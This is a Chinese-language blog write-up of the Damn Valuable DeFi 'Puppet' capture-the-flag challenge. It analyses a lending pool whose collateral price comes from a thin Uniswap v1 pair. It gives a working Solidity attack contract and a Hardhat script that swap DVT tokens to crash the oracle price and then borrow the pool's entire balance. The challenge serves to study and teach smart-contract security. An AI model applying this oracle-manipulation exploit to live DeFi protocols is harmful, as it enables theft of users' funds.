抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

1. issue

There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Pass the challenge by taking all tokens from the lending pool. You start with 25 ETH and 1000 DVTs in balance.

简单来说,凭借手中 25 ETH and 1000 DVTs,将 lending pool中的 DVTS 代币全部取出来。

题目链接

2. analysing

2.1 PuppetPool.sol

这道题只有一个合约,我们先阅读合约。

里面只有三个函数, 分别是: borrow、calculateDepositRequired、_computeOraclePrice

borrow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function borrow(uint256 amount, address recipient) external payable nonReentrant {

uint256 depositRequired = calculateDepositRequired(amount); // 押金 (DVT)

if (msg.value < depositRequired)
revert NotEnoughCollateral();


if (msg.value > depositRequired) { // 支付的ETH 要大于押金
unchecked {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
}

unchecked {
deposits[msg.sender] += depositRequired;
}

// Fails if the pool doesn't have enough tokens in liquidity
if(!token.transfer(recipient, amount))
revert TransferFailed();

emit Borrowed(msg.sender, recipient, depositRequired, amount);
}

函数很简单,就是 判断你支付的ETH 要大于押金,而且还有确保 pool中有足够的 DVTs可供借贷 if(!token.transfer(recipient, amount))

calculateDepositRequired、_computeOraclePrice

这两个函数一块看

1
2
3
4
5
6
7
8
9
10
11
// 计算押金 化简得 2 * amount * uniswapPair.balance / token.balanceOf(uniswapPair)
function (uint256 amount) public view returns (uint256) {
return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
}


// 计算每一个 token 对应多少 wei
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

将这两个函数,利用数学代换式可以将 calculateDepositRequired的计算式看成

depositRequired = 2 * uniswapPair.balance / token.balanceOf(uniswapPair)

我们都知道,要想商最小,要么被除数越小,要么除数越大。

而题中 uniswapPair.balance 和 token.balanceOf(uniswapPair)都是 10 。题目还为我们提供了一个 uniswap v1我 手中有 25 ETH and 1000 DVTs,我可以试着和 uniswap进行交换,从而看看如何改变uniswap 的 uniswapPair.balance 或 token.balanceOf(uniswapPair)

有一篇 文章能够帮助我们调用 uniswap v1的函数,比如 tokenToEthSwapOutput,函数功能:指定你需要兑换的 ETH数量并将ETH发送给指定接收者,函数根据要兑换的ETH计算扣除代币。

大佬的博客

3. solving

3.1 PuppetHack.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableToken.sol";
import "./PuppetPool.sol";
import "hardhat/console.sol";

interface IUniswapExchange {
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256);
}

contract PuppetHack {

DamnValuableToken token;
IUniswapExchange uniswapExchange;
PuppetPool pool;

constructor(address _token, address _uniswapExchange, address _pool) {
token = DamnValuableToken(_token);
uniswapExchange = IUniswapExchange(_uniswapExchange);
pool = PuppetPool(_pool);
}

function attack() external payable {

// console.log("msg.sender.balance",msg.sender.balance);
// payable(address(this)).transfer(msg.sender.balance);

// 记录我手中的代币数量
uint256 amount = token.balanceOf(address(this));

// 先给uniswapv1授权,允许它调用我们全部的token,此时授权者是hacker
token.approve(address(uniswapExchange), amount);

// 调用v1,用代币交换ETH
uniswapExchange.tokenToEthSwapOutput(9.9 ether, amount, block.timestamp * 2);

// 算一下现在把 pool中的token全部借出来要抵押多少 ETH
uint256 depositRequired = pool.calculateDepositRequired(token.balanceOf(address(pool)));

// 将全部的 token代币借出来
pool.borrow{value: depositRequired, gas: 30000000}(token.balanceOf(address(pool)), msg.sender);
}

// 接收 v1 换出来的 ETH
receive() external payable {}
}

3.2 challenge.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */

const hacker = await (await ethers.getContractFactory('PuppetHack', player)).deploy(
token.address, uniswapExchange.address, lendingPool.address);

await token.connect(player).transfer(hacker.address, await token.balanceOf(player.address));
await player.sendTransaction({
to: hacker.address,
value: await ethers.utils.parseEther("11.0")
});
await hacker.attack();

});

image-20230714155354465

要在一笔交易中完成。。。。。。(把题目改了就舒服多了)

先留着吧,等以后技术上来了,再试着把他们整合到一笔交易中。

评论



政策 · 统计 | 本站使用 Volantis 主题设计